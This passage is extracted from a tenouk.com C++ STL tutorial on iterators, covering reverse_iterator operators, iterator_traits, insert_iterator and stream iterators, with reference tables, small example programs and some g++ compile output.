cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

vector <int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 & rvecpos2 point to the\n"


<<"second element in the reversed sequence: "
<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos2 >= rvecpos1\n";


if(rvecpos2 >= rvecpos1)
cout<<"The iterator rvecpos2 is greater than or\n"
<<"equal to the iterator rvecpos1."<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;

cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos2 >= rvecpos1\n";


if(rvecpos2 >= rvecpos1)
cout<<"The iterator rvecpos2 is greater than\n"

www.tenouk.com Page 18 of 29
<<"or equal to the iterator rvecpos1."<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;

cout<<"\nOperation: rvecpos1 >= rvecpos2\n";


if(rvecpos1 >= rvecpos2)
cout<<"The iterator rvecpos1 is greater than\n"
<<"or equal to the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not greater than\n"
<<"the iterator rvecpos2."<<endl;
return 0;
}

Output:

operator+

template<class RandomIterator>
reverse_iterator<RandomIterator> operator+(
typename reverse_iterator<Iterator>::difference_type _Off,
const reverse_iterator<RandomIterator>& _Right
);

Parameters

Parameter Description
_Off The number of positions the const reverse_iterator is to be offset.
_Right The const reverse_iterator that is to be offset.

Table 31.14

- The return value is the sum _Right + _Off.

//iterator, operator+
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

vector<int>::iterator veciter;
cout<<"The vector vec data: ";

www.tenouk.com Page 19 of 29
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

vector<int>::reverse_iterator rveciter1 = vec.rbegin();


cout<<"\nThe iterator rveciter1 initially points to\n"
<<"the first element in the reversed sequence: "
<<*rveciter1<<endl;

cout<<"\nOperation: rveciter1 = diff + rveciter1\n";


vector<int>::difference_type diff = 4;
rveciter1 = diff + rveciter1;
cout<<"The iterator rveciter1 now points to the fifth\n"
<<"element in the reversed sequence: "
<<*rveciter1<<endl;

return 0;
}

Output:

operator-

template<class RandomIterator>
typename reverse_iterator<RandomIterator>::difference_type operator-(
const reverse_iterator<RandomIterator>& _Left,
const reverse_iterator<RandomIterator>& _Right
);

Parameters

Parameter Description
An iterator that serves as the minuend from which another iterator is to be
_Left
subtracted in forming the difference.
An iterator that serves as the subtrahend that is to be subtracted from other
_Right
iterator in forming the difference.

Table 31.15

- The return value is the difference between two iterators: _Left - _Right. The difference equals the
minuend minus the subtrahend.

//iterator, operator-
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

vector<int>::iterator veciter;
cout<<"The initial vector vec is: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

www.tenouk.com Page 20 of 29
cout<<"\nOperation: rvecpos1 = vec.rbegin() and rvecpos2 = vec.rbegin()\n";
vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 & rvecpos2 initially point to\n"


<<"the first element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: for(i = 1; i<=5; ++i) and rvecpos2++\n";


for(i = 1; i<=5; ++i)
rvecpos2++;

cout<<"The iterator rvecpos2 now points to the sixth\n"


<<"element in the reversed sequence: "<<*rvecpos2<<endl;

cout<<"\nOperation: diff = rvecpos2 - rvecpos1\n";


vector<int>::difference_type diff = rvecpos2 - rvecpos1;
cout<<"The iterators difference: rvecpos2 - rvecpos1= "<<diff<<endl;
return 0;
}

Output:

Iterator Template Classes

Class Description
The template class describes an output iterator object. It inserts elements
back_insert_iterator into a container of type Container, which it accesses through the
protected pointer object it stores called container.
A class that provides a return type for an iterator_category()
bidirectional_iterator_tag
function that represents a bidirectional iterator.
The template class describes an output iterator object. It inserts elements
front_insert_iterator into a container of type Container, which it accesses through the
protected pointer object it stores called container.
A class that provides a return type for an iterator_category()
forward_iterator_tag
function that represents a forward iterator.
A class that provides a return type for an iterator_category()
input_iterator_tag
function that represents a bidirectional iterator.
The template class describes an output iterator object. It inserts elements
into a container of type Container, which it accesses through the
insert_iterator protected pointer object it stores called container. It also stores the
protected iterator object, of class Container::iterator, called
iter.
The template class describes an input iterator object. It extracts objects of
istream_iterator class Ty from an input stream, which it accesses through an object it
stores, of type pointer to basic_istream<Elem, Tr>.
The template class describes an output iterator object. It inserts elements
of class Elem into an output stream buffer, which it accesses through an
istreambuf_iterator
object it stores, of type pointer to basic_streambuf<Elem,
Tr>.
iterator The template class is used as a base type for all iterators.
A template helper class providing critical types that are associated with
iterator_traits
different iterator types so that they can be referred to in the same way.
The template class describes an output iterator object. It inserts objects of
ostream_iterator
class Type into an output stream, which it accesses through an object it

www.tenouk.com Page 21 of 29
stores, of type pointer to basic_ostream<Elem, Tr>.
The template class describes an output iterator object. It inserts elements
ostreambuf_iterator Class of class Elem into an output stream buffer, which it accesses through an
object it stores, of type pointer to basic_streambuf<Elem, Tr>.
A class that provides a return type for iterator_category()
output_iterator_tag
function that represents an output iterator.
A class that provides a return type for iterator_category()
random_access_iterator_tag
function that represents a random-access iterator.
The template class describes an object that behaves like a random-access
reverse_iterator
iterator, only in reverse.

Table 31.16

31.5 Some Of The Iterator Template Classes program examples

random_access_iterator_tag Template Class

- A class that provides a return type for iterator_category function that represents a random-
access iterator.

struct random_access_iterator_tag : public bidirectional_iterator_tag {};

- The category tag classes are used as compile tags for algorithm selection. The template function needs
to find the most specific category of its iterator argument so that it can use the most efficient algorithm
at compile time.
- For every iterator of type Iterator,
iterator_traits<Iterator>::iterator_category must be defined to be the most
specific category tag that describes the iterator's behavior.
- The type is the same as iterator<Iter>::iterator_category when Iter describes an
object that can serve as a random-access iterator.

//iterator, template class


#include <iterator>
#include <vector>
#include <iostream>
#include <list>
using namespace std;

int main()
{
vector<int> vec1;
vector<char> vec2;
list<char> lst;
iterator_traits<vector<int>::iterator>::iterator_category cati;
iterator_traits<vector<char>::iterator>::iterator_category catc;
iterator_traits<list<char>::iterator>::iterator_category catlst;

//both are random-access iterators


cout<<"The type of iterator for vector<int> is\n"
<<"identified by the tag:\n"
<<" "<<typeid(cati).name()<<endl;

cout<<"The type of iterator for vector<char> is \n"


<<"identified by the tag:\n"
<<" "<<typeid(catc).name()<<"\n";

cout<<"\nOperation: typeid(cati) == typeid(catc)\n";


if(typeid(cati) == typeid(catc))
cout<<"The iterators type are the same."<<endl<<endl;
else
cout<<"The iterators type are not the same."<<endl<<endl;

//But the list iterator is bidirectional, not random access


cout<<"The type of iterator for list<char> is\n"
<<"identified by the tag:\n"
<<typeid(catlst).name()<<endl;

cout<<"\nOperation: typeid(vec1.begin())==typeid(vec2.begin())\n";
if(typeid(vec1.begin()) == typeid(vec2.begin()))
cout<<"The iterators type are the same."<<endl;
else
cout<<"The iterators type are not the same."<<endl;

www.tenouk.com Page 22 of 29
return 0;
}

Output:

iterator_traits Template Class

- A template helper class providing critical types that are associated with different iterator types so that
they can be referred to in the same way.
- Note that, from the following class template you can see how the typedef defined in the template
class as well as struct usage.

template<class Iterator>
struct iterator_traits
{
typedef typename Iterator::iterator_category iterator_category;
typedef typename Iterator::value_type value_type;
typedef typename Iterator::difference_type difference_type;
typedef typename Iterator::pointer pointer;
typedef typename Iterator::reference reference;
};
template<class Type>
struct iterator_traits<Type*>
{
typedef random_access_iterator_tag iterator_category;
typedef Type value_type;
typedef ptrdiff_t difference_type;
typedef Type *pointer;
typedef Type& reference;
};
template<class Type>
struct iterator_traits<const Type*>
{
typedef random_access_iterator_tag iterator_category;
typedef Type value_type;
typedef ptrdiff_t difference_type;
typedef const Type *pointer;
typedef const Type& reference;
};

- The template class defines the member types:

Type Description
iterator_category A synonym for Iterator::iterator_category.
value_type A synonym for Iterator::value_type.
difference_type A synonym for Iterator::difference_type.
pointer A synonym for Iterator::pointer.
reference A synonym for Iterator::reference.

Table 31.17: Member types

www.tenouk.com Page 23 of 29
//iterator, template class
#include <iostream>
#include <iterator>
#include <vector>
#include <list>
using namespace std;

template<class ite>
//create a function of template class type...
void funct(ite i1, ite i2)
{
iterator_traits<ite>::iterator_category cat;
cout<<"Test the iterator type...\n";
cout<<typeid(cat).name()<<endl;

//print the container data


cout<<"The data: ";
while(i1 != i2)
{
iterator_traits<ite>::value_type p;
p = *i1;
cout<<p<<" ";
i1++;
};
cout<<endl<<endl;
};

int main()
{
//declare containers vector and list
vector<char> vec(9, 'T');
list<int> lst(8, 7);

//function call...
funct(vec.begin(), vec.end());
funct(lst.begin(), lst.end());
return 0;
}

Output:

insert_iterator Template Class

- Describes an iterator adaptor that satisfies the requirements of an output iterator. It inserts, rather than
overwrites, elements into a sequence and thus provides semantics that are different from the overwrite
semantics provided by the iterators of the C++ sequence and associative containers.
- The insert_iterator class is templatized on the type of container being adapted.

template <class Container>

Parameters

Parameter Description
Container The type of container into which elements are to be inserted by an insert_iterator.

Table 31.18

- The container of type Container must satisfy the requirements for a variable-sized container and
have a two-argument insert member function where the parameters are of type

www.tenouk.com Page 24 of 29
Container::iterator and Container::value_type and that returns a type
Container::iterator.
- STL sequence and sorted associative containers satisfy these requirements and can be adapted to use
with insert_iterators. For associative containers, the position argument is treated as a hint,
which has the potential to improve or degrade performance depending on how good the hint is.
- An insert_iterator must always be initialized with its container.

insert_iterator Template Class Members

Typedefs

Typedef Description
A type that represents the container into which a general
container_type
insertion is to be made.
A type that provides a reference to an element in a sequence
reference
controlled by the associated container.

Table 31.19

- A type that represents the container into which a general insertion is to be made.

typedef Container container_type;

- The type is a synonym for the template parameter Container.

//insert_iterator, container_type
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
list<int> lst1;
insert_iterator<list<int> >::container_type lst2 = lst1;
inserter(lst2, lst2.end()) = 12;
inserter(lst2, lst2.end()) = 17;
inserter(lst2, lst2.begin()) = 24;
inserter(lst2, lst2.begin()) = 9;

list<int>::iterator veciter;
cout<<"The list lst2 data: ";
for(veciter = lst2.begin(); veciter != lst2.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
return 0;
}

Output:

- A type that provides a reference to an element in a sequence controlled by the associated container.

typedef typename Container::reference reference;

- The type describes a reference to an element of the sequence controlled by the associated container.

//insert_iterator, container_reference
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{

www.tenouk.com Page 25 of 29
list<int> lst;
insert_iterator<list<int> > iivIter(lst, lst.begin());
*iivIter = 12;
*iivIter = 21;
*iivIter = 9;
*iivIter = 31;

list<int>::iterator lstIter;
cout<<"The list lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;

cout<<"\nOperation: refirst = *(lst.begin())\n";


insert_iterator<list<int> >::reference refirst = *(lst.begin());
cout<<"The first element in the list lst is: "<<refirst<<endl;
return 0;
}

Output:

Member Functions

Member function Description


Constructs an insert_iterator that inserts an element into a
insert_iterator
specified position in a container.

Table 31.20

insert_iterator::insert_iterator

- Constructs an insert_iterator that inserts an element into a specified position in a container.

insert_iterator(Container& _Cont, typename Container::iterator _It);

Parameters

Parameter Description
_Cont The container into which the insert_iterator is to insert elements.
_It The position for the insertion.

Table 31.21

- All containers have the insert member function called by the insert_iterator.
- For associative containers the position parameter is merely a suggestion. The inserter function provides
a convenient way to insert to values.

//insert_iterator, insert_iterator
#include <iterator>
#include <list>
#include <iostream>

int main()
{
using namespace std;
int i;
list <int>::iterator lstiter;

list<int> lst;
for(i = 10; i<15; ++i)
lst.push_back(i);

cout<<"The list lst data: ";

www.tenouk.com Page 26 of 29
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Using the member function to insert an element


cout<<"\nOperation: inserter(lst, lst.begin()) = 21...";
inserter(lst, lst.begin()) = 21;
inserter(lst, lst.begin()) = 27;

cout<<"\nAfter the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Alternatively, using the template version


cout<<"\nOperation: Iter(lst, lst.end()) and *Iter = 9...";
insert_iterator< list < int> > Iter(lst, lst.end());
*Iter = 9;
*Iter = 33;

cout<<"\nAfter the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

Output:

Operators

Operator Description
Dereferencing operator used to implement the output iterator expression
operator*
such as *i = x for a general insertion.
Increments the insert_iterator to the next location into which a value
operator++
may be stored.
Assignment operator used to implement the output iterator expression such
operator=
as *i = x for a general insertion.

Table 31.22

insert_iterator::operator*

- Dereferences the insert iterator returning the element is addresses.

insert_iterator& operator*();

- The return value is the member function returns the value of the element addressed.
- Used to implement the output iterator expression *Iter = value. If Iter is an iterator that
addresses an element in a sequence, then *Iter = value replaces that element with value and does
not change the total number of elements in the sequence.

//insert_iterator, operator*
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

www.tenouk.com Page 27 of 29
int main()
{
int i;
list<int>::iterator lstiter;

list<int> lst;
for(i = 10; i<=15; ++i)
lst.push_back(i);

cout<<"The original list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

cout<<"\nOperation: Iter(lst, lst.begin()) and *Iter = 21... \n";


insert_iterator< list < int> > Iter(lst, lst.begin());
*Iter = 21;
*Iter = 9;
*Iter = 34;

cout << "After the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

Output:

- Program example compiled using g++. g++ will prompt you if old STL constructs that do not comply
to standard, used in your programs such as examples presented at the beginning of this Module.

//*****iteratoradvance.cpp**********
//iterator, advance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;

list<int> lst;
for(i = 1; i <= 10; ++i)
lst.push_back(i);

list<int>::iterator lstIter, lstpos = lst.begin();

cout<<"The lst list data: ";


for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
cout<<"The first element pointed by iterator lstpos is: "<<*lstpos<<endl;

advance(lstpos, 5);
cout<<"Advanced lstpos 5 steps forward pointing to the "<<*lstpos<<endl;

advance(lstpos, -4);
cout<<"Moved lstpos 4 steps backward pointing to the "<<*lstpos<<endl;

advance(lstpos, 8);
cout<<"Finally, the last element pointed by iterator lstpos is: "<<*lstpos<<endl;

return 0;
}

www.tenouk.com Page 28 of 29
[bodo@bakawali ~]$ g++ iteratoradvance.cpp -o iteratoradvance
[bodo@bakawali ~]$ ./iteratoradvance

The lst list data: 1 2 3 4 5 6 7 8 9 10


The first element pointed by iterator lstpos is: 1
Advanced lstpos 5 steps forward pointing to the 6
Moved lstpos 4 steps backward pointing to the 2
Finally, the last element pointed by iterator lstpos is: 10

//*******insertiterator.cpp********
//insert_iterator, insert_iterator
#include <iterator>
#include <list>
#include <iostream>

int main()
{
using namespace std;
int i;
list <int>::iterator lstiter;

list<int> lst;
for(i = 10; i<15; ++i)
lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Using the member function to insert an element


cout<<"\nOperation: inserter(lst, lst.begin()) = 21...";
inserter(lst, lst.begin()) = 21;
inserter(lst, lst.begin()) = 27;

cout<<"\nAfter the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Alternatively, using the template version


cout<<"\nOperation: Iter(lst, lst.end()) and *Iter = 9...";
insert_iterator< list < int> > Iter(lst, lst.end());
*Iter = 9;
*Iter = 33;

cout<<"\nAfter the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ insertiterator.cpp -o insertiterator


[bodo@bakawali ~]$ ./insertiterator

The list lst data: 10 11 12 13 14

Operation: inserter(lst, lst.begin()) = 21...


After the insertions, the list lst data:
27 21 10 11 12 13 14

Operation: Iter(lst, lst.end()) and *Iter = 9...


After the insertions, the list lst data:
27 21 10 11 12 13 14 9 33

- To be continued on next Module...

----------------www.tenouk.com--------------------

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 29 of 29
MODULE 32
--THE STL--
ITERATOR PART II

My Training Period: hours

Note: Compiled using VC++7.0/.Net, win32 empty console mode application. This is a continuation from the
previous Module. g++ compilation examples given at the end of this Module.

Abilities

▪ Able to understand and use iterator template classes.


▪ Able to understand and use iterator adapters.
▪ Able to understand and use stream iterator.

1.1 Continuation from the previous Module

insert_iterator::operator++

- Increments the insert_iterator to the next location into which a value may be stored.

insert_iterator& operator++();
insert_iterator& operator++(int);

Parameters

- An insert_iterator addressing the next location into which a value may be stored.
- Both pre-incrementation and post-incrementation operators return the same result.

//insert_iterator, operator++
//the increment...
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
//iterate all the elements and print...
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

cout<<"\nOperation: j(vec, vec.begin()) then *j = 17 and j++...\n";


insert_iterator<vector<int> > j(vec, vec.begin());
*j = 17;
j++;
*j = 9;

cout<<"After the insertions, the vector vec data:\n";


for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
return 0;
}

Output:

Page 1 of 24
insert_iterator::operator=

- Assignment operator used to implement the output iterator expression such as *i = x.

insert_iterator& operator=(typename Container::const_reference _Val);

Parameter

Parameter Description
_Val The value to be assigned to the element.

Table 32.1

- The return value is a reference to the element inserted into the container.
- The member function evaluates Iter = container. insert(Iter, _Val), then returns
*this.

//insert_iterator, operator=
//the assignment
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;
list<int>::iterator lstiter;

list<int> lst;
for(i = 10; i<=15; ++i)
lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

insert_iterator< list < int> > Iter(lst, lst.begin());


*Iter = 12;
*Iter = 7;
*Iter = 33;
*Iter = 24;

cout<<"\nOperation: Iter(lst, lst.begin()) then *Iter = 12...\n";


cout<<"After the insertions, the list lst data:\n";
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

Output:

Page 2 of 24
istream_iterator Template Class

- Describes an input iterator object. It extracts objects of class Type from an input stream, which it
accesses through an object it stores, of type pointer to basic_istream<CharType,
Traits>.

template <
class Type
class CharType = char
class Traits = char_traits<CharType>
class Distance= ptrdiff_t
>

Parameters

Parameter Description
Type The type of object to be extracted from the input stream.
The type that represents the character type for the istream_iterator.
CharType
This argument is optional and the default value is char.
The type that represents the character type for the istream_iterator.
Traits This argument is optional and the default value is
char_traits<CharType>.
A signed integral type that represents the difference type for the
Distance istream_iterator. This argument is optional and the default value is
ptrdiff_t.

Table 32.2

- After constructing or incrementing an object of class istream_iterator with a non null stored
pointer, the object attempts to extract and store an object of type Type from the associated input
stream.
- If the extraction fails, the object effectively replaces the stored pointer with a null pointer, thus making
an end-of-sequence indicator.

istream_iterator Template Class Members

Typedefs

Typedef Description
A type that provides for the character type of the
char_type
istream_iterator.
A type that provides for the stream type of the
istream_type
istream_iterator.
A type that provides for the character traits type of
traits_type
the istream_iterator.

Table 32.3

istream_iterator::char_type

- A type that provides for the character type of the istream_iterator.

typedef CharType char_type;

- The type is a synonym for the template parameter CharType.

istream_iterator::traits_type

- A type that provides for the character traits type of the istream_iterator.

typedef Traits traits_type;

- The type is a synonym for the template parameter Traits.

Page 3 of 24
//istream_iterator, char_type and
//traits_type
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
typedef istream_iterator<int>::char_type chtype;
typedef istream_iterator<int>::traits_type tratype;

//Standard iterator interface for reading


//elements from the input stream...
cout<<"Enter integers separated by spaces & then\n"
<<" any character e.g.: '3 4 7 T': ";

//istream_iterator for reading int stream


istream_iterator<int, chtype, tratype> intread(cin);

//End-of-stream iterator
istream_iterator<int, chtype, tratype> EOFintread;

while(intread != EOFintread)
{
cout<<"Reading data: "<<*intread<<endl;
++intread;
}
cout<<endl;
return 0;
}

Output:

Member Functions

Member function Description


Constructs either an end-of-stream iterator as the default
istream_iterator istream_iterator or a istream_iterator initialized to the
iterator's stream type from which it reads.

Table 32.4

istream_iterator::istream_iterator

- Constructs either an end-of-stream iterator as the default istream_iterator or a


istream_iterator initialized to the iterator's stream type from which it reads.

istream_iterator();
istream_iterator(istream_type& _Istr);

Parameter

Parameter Description
_Istr The input stream to be read use to initialize the istream_iterator.

Table 32.5

- The First constructor initializes the input stream pointer with a null pointer and creates an end-of-
stream iterator.

Page 4 of 24
- The second constructor initializes the input stream pointer with &_Istr, then attempts to extract and
store an object of type Type.
- The end-of-stream iterator can be use to test whether an istream_iterator has reached the end of
a stream.

//istream_iterator, istream_iterator
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
//Used in conjunction with copy algorithm
//to put elements into a vector read from cin
vector<int> vec(5);
vector<int>::iterator Iter;

cout<<"Enter 5 integers separated by spaces & then\n"


<<" a character e.g: '4 6 2 7 11 R': ";
istream_iterator<int> intvecread(cin);

//Default constructor will test equal to end of stream


//for delimiting source range of vector
copy(intvecread, istream_iterator<int>(), vec.begin());
cin.clear();

cout<<"vec data: ";


for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;
return 0;
}

Output:

Operators

Operator Description
The dereferencing operator returns the stored object of type Type addressed by the
operator*
istream_iterator.
operator-> Returns the value of a member, if any.
Either extracts an incremented object from the input stream or copies the object
operator++
before incrementing it and returns the copy.

Table 32.6

istreambuf_iterator Template Class

- The template class istreambuf_iterator describes an input iterator object that extracts character elements
from an input stream buffer, which it accesses through an object it stores, of type pointer to
basic_streambuf<CharType, Traits>.

template <
class CharType
class Traits = char_traits<CharType>
>

Parameters

Parameter Description
CharType The type that represents the character type for the

Page 5 of 24
istreambuf_iterator.
The type that represents the character type for the
Traits istreambuf_iterator. This argument is optional and the default value
is char_traits<CharType>.

Table 32.7

- The ostreambuf_iterator class must satisfy the requirements for an input iterator.
- After constructing or incrementing an object of class istreambuf_iterator with a non-null
stored pointer, the object effectively attempts to extract and store an object of type CharType from
the associated input stream.
- The extraction may be delayed, however, until the object is actually dereferenced or copied. If the
extraction fails, the object effectively replaces the stored pointer with a null pointer, thus making an
end-of-sequence indicator.

istreambuf_iterator Template Class Members

Typedefs

Typedef Description
A type that provides for the character type of the
char_type
ostreambuf_iterator.
A type that provides an integer type for an
int_type
istreambuf_iterator.
A type that provides for the stream type of the
istream_type
istream_iterator.
A type that provides for the stream type of the
streambuf_type
istreambuf_iterator.
A type that provides for the character traits type of
traits_type
the istream_iterator.

Table 32.8

istreambuf_iterator::char_type

- A type that provides for the character type of the ostreambuf_iterator.

typedef CharType char_type;

- The type is a synonym for the template parameter CharType.

//istreambuf_iterator, char_type
#include <iterator>
#include <vector>
#include <iostream>
#include <algorithm>
using namespace std;

int main()
{
typedef istreambuf_iterator<char>::char_type chatype;
typedef istreambuf_iterator<char>::traits_type tratype;

cout<<"Enter line of text, then press Return key to \n"


<<"insert into the output, & use a ctrl-Z Enter key\n"
<<"combination to exit: ";

//istreambuf_iterator for input stream


istreambuf_iterator< chatype, tratype> charInBuf(cin);
ostreambuf_iterator<char> charOut(cout);

//Used in conjunction with replace_copy algorithm


//to insert into output stream and replaces spaces
//with hash sign
replace_copy(charInBuf, istreambuf_iterator<char>(), charOut, ' ', '#');
return 0;
}

Output:

Page 6 of 24
istreambuf_iterator::int_type

- A type that provides an integer type for an istreambuf_iterator.

typedef typename Traits::int_type int_type;

- The type is a synonym for Traits::int_type.

//istreambuf_iterator, int_type
#include <iterator>
#include <iostream>
using namespace std;

int main()
{
cout<<"Operation: int_type intype = 77\n";
istreambuf_iterator<char>::int_type intype = 77;
cout<<"The int_type type = "<<intype<<endl;
return 0;
}

Output:

istream_iterator::traits_type

- A type that provides for the character traits type of the istream_iterator.

typedef Traits traits_type;

- The type is a synonym for the template parameter Traits.

Member Functions

Member function Description


equal() Tests for equality between two input stream buffer iterators.
Constructs an istreambuf_iterator that is initialized
istreambuf_iterator
to read characters from the input stream.

Table 32.9

istreambuf_iterator::equal

- Tests for equivalence between two input stream buffer iterators.

bool equal(const istreambuf_iterator& _Right) const;

Parameter

Parameter Description
_Right The iterator for which to check for equality.

Page 7 of 24
Table 32.10

- The return value is true if both istreambuf_iterators are end-of-stream iterators or if neither is
an end-of-stream iterator; otherwise false.
- A range is defined by the istreambuf_iterator to the current position and the end-of-stream
iterator, but since all non-end-of stream iterators are equivalent under the equal() member function,
it is not possible to define any sub-ranges using istreambuf_iterators.
- The == and != operators have the same semantics.

//istreambuf_iterator, equal
#include <iterator>
#include <iostream>
using namespace std;

int main()
{
cout<<"\nOperation: bol = readchinpt1.equal(readchinpt2)\n";
cout<<"Enter a line of text then an Enter key to\n"
<<"insert into the output:\n";

istreambuf_iterator<char> readchinpt1(cin);
istreambuf_iterator<char> readchinpt2(cin);

bool bol = readchinpt1.equal(readchinpt2);


if(bol)
cout<<"The iterators are equal."<<endl;
else
cout<<"The iterators are not equal."<<endl;
return 0;
}

Output:

istreambuf_iterator::istreambuf_iterator

- Constructs an istreambuf_iterator that is initialized to read characters from the input stream.

istreambuf_iterator
(
streambuf_type* _Strbuf = 0
) throw();
istreambuf_iterator
(
istream_type& _Istr
) throw();

Parameters

Parameter Description
_Strbuf The input stream buffer to which the istreambuf_iterator is being attached.
_Istr The input stream to which the istreambuf_iterator is being attached.

Table 32.11

- The first constructor initializes the input stream-buffer pointer with _Strbuf.
- The second constructor initializes the input stream-buffer pointer with _Istr.rdbuf, and then
eventually attempts to extract and store an object of type CharType.

Page 8 of 24
//istreambuf_iterator, istreambuf_iterator
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
istreambuf_iterator<char>::istream_type &istrm = cin;
istreambuf_iterator<char>::streambuf_type *strmbf = cin.rdbuf();

cout<<"Enter a line of text, then an Enter key to insert into\n"


<<"the output, (& use a ctrl-Z Enter key combination to exit):\n";

istreambuf_iterator<char> charReadIn(cin);
ostreambuf_iterator<char> charOut(cout);

//Used in conjunction with replace_copy algorithm


//to insert into output stream and replace spaces
//with hyphen-separators
replace_copy(charReadIn, istreambuf_iterator<char>(), charOut, ' ', '-');
return 0;
}

Output:

Operators

Operator Description
operator* The dereferencing operator returns the next character in the stream.
Either returns the next character from the input stream or copies the object before
operator++
incrementing it and returns the copy.
operator-> Returns the value of a member, if any.

Table 32.12

istreambuf_iterator::operator++

- Either returns the next character from the input stream or copies the object before incrementing it and
returns the copy.

istreambuf_iterator& operator++();
istreambuf_iterator operator++(int);

- The return value is an istreambut_iterator or a reference to an istreambuf_iterator.


- The first operator eventually attempts to extract and store an object of type CharType from the
associated input stream.
- The second operator makes a copy of the object, increments the object, and then returns the copy.

//istreambuf_iterator, operator++
#include <iterator>
#include <iostream>
using namespace std;

int main()
{
cout<<"Type a line of text & enter to output it, with stream\n"
<<"buffer iterators, repeat as many times as desired,\n"
<<"then keystroke ctrl-Z Enter to exit program: \n";

istreambuf_iterator<char> inpos(cin);

Page 9 of 24
istreambuf_iterator<char> endpos;
ostreambuf_iterator<char> outpos(cout);

while(inpos != endpos)
{
*outpos = *inpos;
//Increment istreambuf_iterator
++inpos;
++outpos;
}
return 0;
}

Output:

ostream_iterator Template Class

- The template class ostream_iterator describes an output iterator object that writes successive
elements onto the output stream with the extraction operator >>.

template <
class Type
class CharType = char
class Traits = char_traits<CharType>
>

Parameters

Parameter Description
Type The type of object to be inserted into the output stream.
The type that represents the character type for the ostream_iterator.
CharType
This argument is optional and the default value is char.
The type that represents the character type for the ostream_iterator.
Traits This argument is optional and the default value is
char_traits<CharType>.

Table 32.13

- The ostream_iterator class must satisfy the requirements for an output iterator.
- Algorithms can be written directly to output streams using an ostream_iterator.

ostream_iterator Template Class Members

Typedefs

Typedef Description
A type that provides for the character type of the
char_type
ostream_iterator.
A type that provides for the stream type of the
ostream_type
ostream_iterator.
A type that provides for the character traits type of
traits_type
the ostream_iterator.

Table 32.14

Page 10 of 24
ostream_iterator::ostream_iterator

- Constructs an ostream_iterator that is initialized and delimited to write to the output stream.

ostream_iterator(ostream_type& _Ostr);
ostream_iterator(ostream_type& _Ostr, const CharType* _Delimiter);

Parameters

Parameter Description
_Ostr The output stream object used to initialize the output stream pointer.
_Delimiter The output stream delimiter used to initialize the output stream pointer.

Table 32.15

- The first constructor initializes the output stream pointer with &_Ostr. The delimiter string pointer
designates an empty string.
- The second constructor initializes the output stream pointer with &_Ostr and the delimiter string
pointer with _Delimiter.

//ostream_iterator, ostream_iterator
